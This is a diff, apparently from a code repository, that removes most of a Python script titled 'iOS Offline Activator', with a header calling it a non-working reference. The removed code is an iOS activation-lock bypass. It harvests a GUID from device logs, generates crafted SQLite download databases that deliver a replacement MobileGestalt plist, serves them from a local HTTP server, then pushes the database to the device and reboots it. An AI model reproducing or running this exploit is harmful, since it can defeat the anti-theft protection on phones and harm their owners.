|
|
@@ -1,27 +1,3 @@
|
|
|
-# --- DO NOT USE THIS ---
|
|
|
-# --- THIS WILL NOT WORK ---
|
|
|
-# --- REF ONLY. MISTAKE ---
|
|
|
-
|
|
|
-import sys
|
|
|
-import os
|
|
|
-import time
|
|
|
-import subprocess
|
|
|
-import re
|
|
|
-import shutil
|
|
|
-import sqlite3
|
|
|
-import atexit
|
|
|
-import socket
|
|
|
-import threading
|
|
|
-import zipfile
|
|
|
-import tempfile
|
|
|
-import binascii
|
|
|
-from http.server import SimpleHTTPRequestHandler
|
|
|
-from socketserver import TCPServer
|
|
|
-
|
|
|
-# --- CONFIGURATION & CONSTANTS ---
|
|
|
-
|
|
|
-# SQL Template 1: BLDatabaseManager Structure
|
|
|
-BL_STRUCTURE_SQL = """
|
|
|
PRAGMA foreign_keys=OFF;
|
|
|
BEGIN TRANSACTION;
|
|
|
CREATE TABLE ZBLDOWNLOADPOLICYINFO ( Z_PK INTEGER PRIMARY KEY, Z_ENT INTEGER, Z_OPT INTEGER, ZSTOREPLAYLISTIDENTIFIER INTEGER, ZPOLICYID VARCHAR, ZPOLICYDATA BLOB );
|
|
|
@@ -92,385 +68,3 @@ INSERT INTO ZBLDOWNLOADINFO VALUES(1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL,0,0,0,NU
|
|
|
CREATE INDEX Z_BLDownloadInfo_byDownloadIDIndex ON ZBLDOWNLOADINFO (ZDOWNLOADID COLLATE BINARY ASC);
|
|
|
CREATE INDEX Z_BLDownloadInfo_byStateIndex ON ZBLDOWNLOADINFO (ZSTATE COLLATE BINARY ASC);
|
|
|
COMMIT;
|
|
|
-"""
|
|
|
-
|
|
|
-# SQL Template 2: Downloads Structure (with placeholders)
|
|
|
-DOWNLOADS_STRUCTURE_SQL = """
|
|
|
-PRAGMA foreign_keys=OFF;
|
|
|
-BEGIN TRANSACTION;
|
|
|
-CREATE TABLE asset (
|
|
|
- pid INTEGER,
|
|
|
- download_id INTEGER,
|
|
|
- asset_order INTEGER DEFAULT 0,
|
|
|
- asset_type TEXT,
|
|
|
- bytes_total INTEGER,
|
|
|
- url TEXT,
|
|
|
- local_path TEXT,
|
|
|
- destination_url TEXT,
|
|
|
- path_extension TEXT,
|
|
|
- retry_count INTEGER,
|
|
|
- http_method TEXT,
|
|
|
- initial_odr_size INTEGER,
|
|
|
- is_discretionary INTEGER DEFAULT 0,
|
|
|
- is_downloaded INTEGER DEFAULT 0,
|
|
|
- is_drm_free INTEGER DEFAULT 0,
|
|
|
- is_external INTEGER DEFAULT 0,
|
|
|
- is_hls INTEGER DEFAULT 0,
|
|
|
- is_local_cache_server INTEGER DEFAULT 0,
|
|
|
- is_zip_streamable INTEGER DEFAULT 0,
|
|
|
- processing_types INTEGER DEFAULT 0,
|
|
|
- video_dimensions TEXT,
|
|
|
- timeout_interval REAL,
|
|
|
- store_flavor TEXT,
|
|
|
- download_token INTEGER DEFAULT 0,
|
|
|
- blocked_reason INTEGER DEFAULT 0,
|
|
|
- avfoundation_blocked INTEGER DEFAULT 0,
|
|
|
- service_type INTEGER DEFAULT 0,
|
|
|
- protection_type INTEGER DEFAULT 0,
|
|
|
- store_download_key TEXT,
|
|
|
- etag TEXT,
|
|
|
- bytes_to_hash INTEGER,
|
|
|
- hash_type INTEGER DEFAULT 0,
|
|
|
- server_guid TEXT,
|
|
|
- file_protection TEXT,
|
|
|
- variant_id TEXT,
|
|
|
- hash_array BLOB,
|
|
|
- http_headers BLOB,
|
|
|
- request_parameters BLOB,
|
|
|
- body_data BLOB,
|
|
|
- body_data_file_path TEXT,
|
|
|
- sinfs_data BLOB,
|
|
|
- dpinfo_data BLOB,
|
|
|
- uncompressed_size INTEGER DEFAULT 0,
|
|
|
- url_session_task_id INTEGER DEFAULT -1,
|
|
|
- PRIMARY KEY (pid)
|
|
|
-);
|
|
|
-INSERT INTO asset VALUES(1,1,0,'media','https://google.com',NULL,'/private/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist','plist',0,'GET',0,0,0,0,0,0,0,0,0,NULL,0.0,NULL,0,0,0,0,0,NULL,NULL,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,-1);
|
|
|
-INSERT INTO asset VALUES(2,1,0,'media','https://google.com',NULL,'/private/var/containers/Shared/SystemGroup/GOODKEY/Documents/BLDatabaseManager/BLDatabaseManager.sqlite-wal','epub',0,'GET',0,0,0,0,0,0,0,0,0,NULL,0.0,NULL,0,0,0,0,0,NULL,NULL,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,-1);
|
|
|
-INSERT INTO asset VALUES(3,1,0,'media','https://google.com',NULL,'/private/var/containers/Shared/SystemGroup/GOODKEY/Documents/BLDatabaseManager/BLDatabaseManager.sqlite-shm','epub',0,'GET',0,0,0,0,0,0,0,0,0,NULL,0.0,NULL,0,0,0,0,0,NULL,NULL,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,-1);
|
|
|
-INSERT INTO asset VALUES(4,1,0,'media','https://google.com',NULL,'/private/var/containers/Shared/SystemGroup/GOODKEY/Documents/BLDatabaseManager/BLDatabaseManager.sqlite','epub',0,'GET',0,0,0,0,0,0,0,0,0,NULL,0.0,NULL,0,0,0,0,0,NULL,NULL,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,-1);
|
|
|
-COMMIT;
|
|
|
-"""
|
|
|
-
|
|
|
-# --- CLASSES ---
|
|
|
-
|
|
|
-class Style:
|
|
|
- RESET = '\033[0m'
|
|
|
- BOLD = '\033[1m'
|
|
|
- DIM = '\033[2m'
|
|
|
- RED = '\033[0;31m'
|
|
|
- GREEN = '\033[0;32m'
|
|
|
- YELLOW = '\033[1;33m'
|
|
|
- BLUE = '\033[0;34m'
|
|
|
- MAGENTA = '\033[0;35m'
|
|
|
- CYAN = '\033[0;36m'
|
|
|
-
|
|
|
-class LocalServer:
|
|
|
- """
|
|
|
- Embedded HTTP server to serve the generated payloads to the device
|
|
|
- over the local network (Wi-Fi).
|
|
|
- """
|
|
|
- def __init__(self, port=8080):
|
|
|
- self.port = port
|
|
|
- self.serve_dir = tempfile.mkdtemp(prefix="ios_activation_")
|
|
|
- self.local_ip = self.get_local_ip()
|
|
|
- self.thread = None
|
|
|
- self.httpd = None
|
|
|
-
|
|
|
- def get_local_ip(self):
|
|
|
- """Attempts to find the LAN IP address."""
|
|
|
- try:
|
|
|
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
|
- # Connect to a public DNS server to determine outgoing interface IP
|
|
|
- s.connect(("8.8.8.8", 80))
|
|
|
- ip = s.getsockname()[0]
|
|
|
- s.close()
|
|
|
- return ip
|
|
|
- except:
|
|
|
- return "127.0.0.1"
|
|
|
-
|
|
|
- def start(self):
|
|
|
- """Starts the HTTP server in a background thread."""
|
|
|
- os.chdir(self.serve_dir)
|
|
|
- handler = SimpleHTTPRequestHandler
|
|
|
- self.httpd = TCPServer(("", self.port), handler)
|
|
|
- self.thread = threading.Thread(target=self.httpd.serve_forever)
|
|
|
- self.thread.daemon = True
|
|
|
- self.thread.start()
|
|
|
- print(f"{Style.DIM} ╰─▶ Local Server running at http://{self.local_ip}:{self.port} (Root: {self.serve_dir}){Style.RESET}")
|
|
|
-
|
|
|
- def stop(self):
|
|
|
- if self.httpd:
|
|
|
- self.httpd.shutdown()
|
|
|
- self.httpd.server_close()
|
|
|
- if os.path.exists(self.serve_dir):
|
|
|
- shutil.rmtree(self.serve_dir)
|
|
|
-
|
|
|
- def get_file_url(self, filename):
|
|
|
- return f"http://{self.local_ip}:{self.port}/{filename}"
|
|
|
-
|
|
|
-class PayloadGenerator:
|
|
|
- """
|
|
|
- Generates the specialized SQLite databases required for the bypass.
|
|
|
- Originally logic from the PHP backend, now ported to Python.
|
|
|
- """
|
|
|
- def __init__(self, server_root, asset_root):
|
|
|
- self.server_root = server_root
|
|
|
- self.asset_root = asset_root
|
|
|
-
|
|
|
- def _create_db_from_sql(self, sql_content, output_path):
|
|
|
- try:
|
|
|
- # Handle 'unistr' format (Oracle to SQLite conversion for python)
|
|
|
- # Regex: find unistr('...') and convert \uXXXX to chars
|
|
|
- def unistr_sub(match):
|
|
|
- content = match.group(1)
|
|
|
- # Convert \uXXXX to actual unicode characters
|
|
|
- # Note: The SQL dump has \\XXXX format, so we look for 4 hex digits
|
|
|
- decoded = re.sub(r'\\([0-9A-Fa-f]{4})',
|
|
|
- lambda m: binascii.unhexlify(m.group(1)).decode('utf-16-be'),
|
|
|
- content)
|
|
|
- return f"'{decoded}'"
|
|
|
-
|
|
|
- sql_content = re.sub(r"unistr\s*\(\s*'([^']*)'\s*\)", unistr_sub, sql_content, flags=re.IGNORECASE)
|
|
|
-
|
|
|
- # Just in case unistr remains (simple cleanup)
|
|
|
- sql_content = re.sub(r"unistr\s*\(\s*('[^']*')\s*\)", r"\1", sql_content, flags=re.IGNORECASE)
|
|
|
-
|
|
|
- if os.path.exists(output_path): os.remove(output_path)
|
|
|
-
|
|
|
- conn = sqlite3.connect(output_path)
|
|
|
- cursor = conn.cursor()
|
|
|
- cursor.executescript(sql_content)
|
|
|
- conn.commit()
|
|
|
- conn.close()
|
|
|
- return True
|
|
|
- except Exception as e:
|
|
|
- print(f"{Style.RED}DB Gen Error: {e}{Style.RESET}")
|
|
|
- return False
|
|
|
-
|
|
|
- def generate(self, prd, guid, sn, local_server):
|
|
|
- # Normalize Product ID
|
|
|
- prd_safe = prd.replace(',', '-')
|
|
|
-
|
|
|
- # 1. Locate MobileGestalt
|
|
|
- plist_path = os.path.join(self.asset_root, "Maker", prd_safe, "com.apple.MobileGestalt.plist")
|
|
|
- if not os.path.exists(plist_path):
|
|
|
- print(f"{Style.RED}[✗] Asset missing: {plist_path}{Style.RESET}")
|
|
|
- return None
|
|
|
-
|
|
|
- # 2. Create 'fixedfile' (Zipped Plist)
|
|
|
- # Generate random token for obfuscation
|
|
|
- token1 = binascii.hexlify(os.urandom(8)).decode()
|
|
|
- zip_name = f"payload_{token1}.zip"
|
|
|
- zip_path = os.path.join(self.server_root, zip_name)
|
|
|
-
|
|
|
- with zipfile.ZipFile(zip_path, 'w') as zf:
|
|
|
- zf.write(plist_path, "Caches/com.apple.MobileGestalt.plist")
|
|
|
-
|
|
|
- # Rename to extensionless file as per original exploit
|
|
|
- fixedfile_name = f"fixedfile_{token1}"
|
|
|
- fixedfile_path = os.path.join(self.server_root, fixedfile_name)
|
|
|
- os.rename(zip_path, fixedfile_path)
|
|
|
- fixedfile_url = local_server.get_file_url(fixedfile_name)
|
|
|
-
|
|
|
- # 3. Create BLDatabase (belliloveu.png)
|
|
|
- # Inject URL 1
|
|
|
- bl_sql = BL_STRUCTURE_SQL.replace('KEYOOOOOO', fixedfile_url)
|
|
|
-
|
|
|
- token2 = binascii.hexlify(os.urandom(8)).decode()
|
|
|
- bl_db_name = f"belliloveu_{token2}.png"
|
|
|
- bl_db_path = os.path.join(self.server_root, bl_db_name)
|
|
|
-
|
|
|
- if not self._create_db_from_sql(bl_sql, bl_db_path): return None
|
|
|
- bl_url = local_server.get_file_url(bl_db_name)
|
|
|
-
|
|
|
- # 4. Create Final Downloads DB
|
|
|
- # Inject URL 2 and GUID
|
|
|
- dl_sql = DOWNLOADS_STRUCTURE_SQL.replace('https://google.com', bl_url)
|
|
|
- dl_sql = dl_sql.replace('GOODKEY', guid)
|
|
|
-
|
|
|
- token3 = binascii.hexlify(os.urandom(8)).decode()
|
|
|
- final_db_name = f"downloads_{token3}.sqlitedb" # Keep correct extension for local push
|
|
|
- final_db_path = os.path.join(self.server_root, final_db_name) # We don't serve this, we push it via USB
|
|
|
-
|
|
|
- if not self._create_db_from_sql(dl_sql, final_db_path): return None
|
|
|
-
|
|
|
- return final_db_path
|
|
|
-
|
|
|
-class BypassAutomation:
|
|
|
- def __init__(self):
|
|
|
- self.timeouts = {'asset_wait': 300, 'asset_delete_delay': 15, 'reboot_wait': 300, 'syslog_collect': 180}
|
|
|
- self.mount_point = os.path.join(os.path.expanduser("~"), f".ifuse_mount_{os.getpid()}")
|
|
|
- self.afc_mode = None
|
|
|
- self.device_info = {}
|
|
|
- self.guid = None
|
|
|
-
|
|
|
- # Server Components
|
|
|
- self.server = LocalServer()
|
|
|
- self.generator = PayloadGenerator(self.server.serve_dir, os.getcwd()) # Assets relative to CWD
|
|
|
-
|
|
|
- atexit.register(self._cleanup)
|
|
|
-
|
|
|
- def log(self, msg, level='info'):
|
|
|
- if level == 'info': print(f"{Style.GREEN}[✓]{Style.RESET} {msg}")
|
|
|
- elif level == 'error': print(f"{Style.RED}[✗]{Style.RESET} {msg}")
|
|
|
- elif level == 'warn': print(f"{Style.YELLOW}[⚠]{Style.RESET} {msg}")
|
|
|
- elif level == 'step':
|
|
|
- print(f"\n{Style.BOLD}{Style.CYAN}" + "━" * 40 + f"{Style.RESET}")
|
|
|
- print(f"{Style.BOLD}{Style.BLUE}▶{Style.RESET} {Style.BOLD}{msg}{Style.RESET}")
|
|
|
- print(f"{Style.CYAN}" + "━" * 40 + f"{Style.RESET}")
|
|
|
- elif level == 'detail': print(f"{Style.DIM} ╰─▶{Style.RESET} {msg}")
|
|
|
- elif level == 'success': print(f"{Style.GREEN}{Style.BOLD}[✓ SUCCESS]{Style.RESET} {msg}")
|
|
|
-
|
|
|
- def _run_cmd(self, cmd, timeout=None):
|
|
|
- try:
|
|
|
- res = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
|
|
|
- return res.returncode, res.stdout.strip(), res.stderr.strip()
|
|
|
- except subprocess.TimeoutExpired: return 124, "", "Timeout"
|
|
|
- except Exception as e: return 1, "", str(e)
|
|
|
-
|
|
|
- def verify_dependencies(self):
|
|
|
- self.log("Verifying System Requirements...", "step")
|
|
|
- # Check for assets/Maker
|
|
|
- if not os.path.isdir(os.path.join(os.getcwd(), "assets", "Maker")):
|
|
|
- self.log("Missing 'assets/Maker' folder in current directory.", "error")
|
|
|
- sys.exit(1)
|
|
|
-
|
|
|
- if shutil.which("ifuse"): self.afc_mode = "ifuse"
|
|
|
- else: self.afc_mode = "pymobiledevice3"
|
|
|
- self.log(f"AFC Transfer Mode: {self.afc_mode}", "info")
|
|
|
-
|
|
|
- def mount_afc(self):
|
|
|
- if self.afc_mode != "ifuse": return True
|
|
|
- os.makedirs(self.mount_point, exist_ok=True)
|
|
|
- code, out, _ = self._run_cmd(["mount"])
|
|
|
- if self.mount_point in out: return True
|
|
|
- for i in range(5):
|
|
|
- if self._run_cmd(["ifuse", self.mount_point])[0] == 0: return True
|
|
|
- time.sleep(2)
|
|
|
- return False
|
|
|
-
|
|
|
- def unmount_afc(self):
|
|
|
- if self.afc_mode == "ifuse" and os.path.exists(self.mount_point):
|
|
|
- self._run_cmd(["umount", self.mount_point])
|
|
|
- try: os.rmdir(self.mount_point)
|
|
|
- except: pass
|
|
|
-
|
|
|
- def detect_device(self):
|
|
|
- self.log("Detecting Device...", "step")
|
|
|
- code, out, _ = self._run_cmd(["ideviceinfo"])
|
|
|
- if code != 0:
|
|
|
- self.log("No device found via USB", "error")
|
|
|
- sys.exit(1)
|
|
|
-
|
|
|
- info = {}
|
|
|
- for line in out.splitlines():
|
|
|
- if ": " in line:
|
|
|
- key, val = line.split(": ", 1)
|
|
|
- info[key.strip()] = val.strip()
|
|
|
- self.device_info = info
|
|
|
-
|
|
|
- print(f"\n{Style.BOLD}Device: {info.get('ProductType','Unknown')} (iOS {info.get('ProductVersion','?')}){Style.RESET}")
|
|
|
- print(f"UDID: {info.get('UniqueDeviceID','?')}")
|
|
|
-
|
|
|
- if info.get('ActivationState') == 'Activated':
|
|
|
- print(f"{Style.YELLOW}Warning: Device already activated.{Style.RESET}")
|
|
|
-
|
|
|
- def get_guid(self):
|
|
|
- self.log("Extracting System Logs...", "step")
|
|
|
- udid = self.device_info['UniqueDeviceID']
|
|
|
- log_path = f"{udid}.logarchive"
|
|
|
- if os.path.exists(log_path): shutil.rmtree(log_path)
|
|
|
-
|
|
|
- self._run_cmd(["pymobiledevice3", "syslog", "collect", log_path], timeout=180)
|
|
|
-
|
|
|
- if not os.path.exists(log_path):
|
|
|
- self.log("Archive failed, trying live watch...", "warn")
|
|
|
- _, out, _ = self._run_cmd(["pymobiledevice3", "syslog", "watch"], timeout=60)
|
|
|
- logs = out
|
|
|
- else:
|
|
|
- tmp = "final.logarchive"
|
|
|
- if os.path.exists(tmp): shutil.rmtree(tmp)
|
|
|
- shutil.move(log_path, tmp)
|
|
|
- _, logs, _ = self._run_cmd(["/usr/bin/log", "show", "--style", "syslog", "--archive", tmp])
|
|
|
- shutil.rmtree(tmp)
|
|
|
-
|
|
|
- guid_pattern = re.compile(r'SystemGroup/([0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12})/')
|
|
|
- for line in logs.splitlines():
|
|
|
- if "BLDatabaseManager" in line:
|
|
|
- match = guid_pattern.search(line)
|
|
|
- if match: return match.group(1).upper()
|
|
|
- return None
|
|
|
-
|
|
|
- def run(self):
|
|
|
- os.system('clear')
|
|
|
- print(f"{Style.BOLD}{Style.MAGENTA}iOS Offline Activator (Python Edition){Style.RESET}\n")
|
|
|
-
|
|
|
- self.verify_dependencies()
|
|
|
- self.server.start() # Start HTTP server
|
|
|
- self.detect_device()
|
|
|
-
|
|
|
- input(f"{Style.YELLOW}Press Enter to start...{Style.RESET}")
|
|
|
-
|
|
|
- # 1. Reboot
|
|
|
- self.log("Rebooting device...", "step")
|
|
|
- self._run_cmd(["pymobiledevice3", "diagnostics", "restart"])
|
|
|
- time.sleep(30)
|
|
|
-
|
|
|
- # 2. Get GUID
|
|
|
- self.guid = self.get_guid()
|
|
|
- if not self.guid:
|
|
|
- self.log("Could not find GUID in logs.", "error")
|
|
|
- sys.exit(1)
|
|
|
- self.log(f"GUID: {self.guid}", "success")
|
|
|
-
|
|
|
- # 3. Generate Payloads (Offline Logic)
|
|
|
- self.log("Generating Payload (Offline)...", "step")
|
|
|
- final_db_path = self.generator.generate(
|
|
|
- self.device_info['ProductType'],
|
|
|
- self.guid,
|
|
|
- self.device_info['SerialNumber'],
|
|
|
- self.server
|
|
|
- )
|
|
|
-
|
|
|
- if not final_db_path:
|
|
|
- self.log("Payload generation failed.", "error")
|
|
|
- sys.exit(1)
|
|
|
- self.log("Payload Generated Successfully.", "success")
|
|
|
-
|
|
|
- # 4. Upload
|
|
|
- self.log("Uploading...", "step")
|
|
|
- target = "/Downloads/downloads.28.sqlitedb"
|
|
|
-
|
|
|
- if self.afc_mode == "ifuse":
|
|
|
- self.mount_afc()
|
|
|
- fpath = self.mount_point + target
|
|
|
- if os.path.exists(fpath): os.remove(fpath)
|
|
|
- shutil.copy(final_db_path, fpath)
|
|
|
- else:
|
|
|
- self._run_cmd(["pymobiledevice3", "afc", "rm", target])
|
|
|
- self._run_cmd(["pymobiledevice3", "afc", "push", final_db_path, target])
|
|
|
-
|
|
|
- self.log("Payload Deployed. Rebooting...", "success")
|
|
|
- self._run_cmd(["pymobiledevice3", "diagnostics", "restart"])
|
|
|
-
|
|
|
- print(f"\n{Style.GREEN}Process Complete. Device should activate after reboot.{Style.RESET}")
|
|
|
-
|
|
|
- # Keep script alive for server to serve files if needed by device immediately
|
|
|
- self.log("Keeping server alive for 60s to ensure downloads complete...", "info")
|
|
|
- time.sleep(60)
|
|
|
-
|
|
|
- self._cleanup()
|
|
|
-
|
|
|
- def _cleanup(self):
|
|
|
- self.unmount_afc()
|
|
|
- self.server.stop()
|
|
|
-
|
|
|
-if __name__ == "__main__":
|
|
|
- try:
|
|
|
- BypassAutomation().run()
|
|
|
- except KeyboardInterrupt:
|
|
|
- sys.exit(130)
|
|
|
- except Exception as e:
|
|
|
- print(f"Fatal Error: {e}")
|
|
|
- sys.exit(1)
|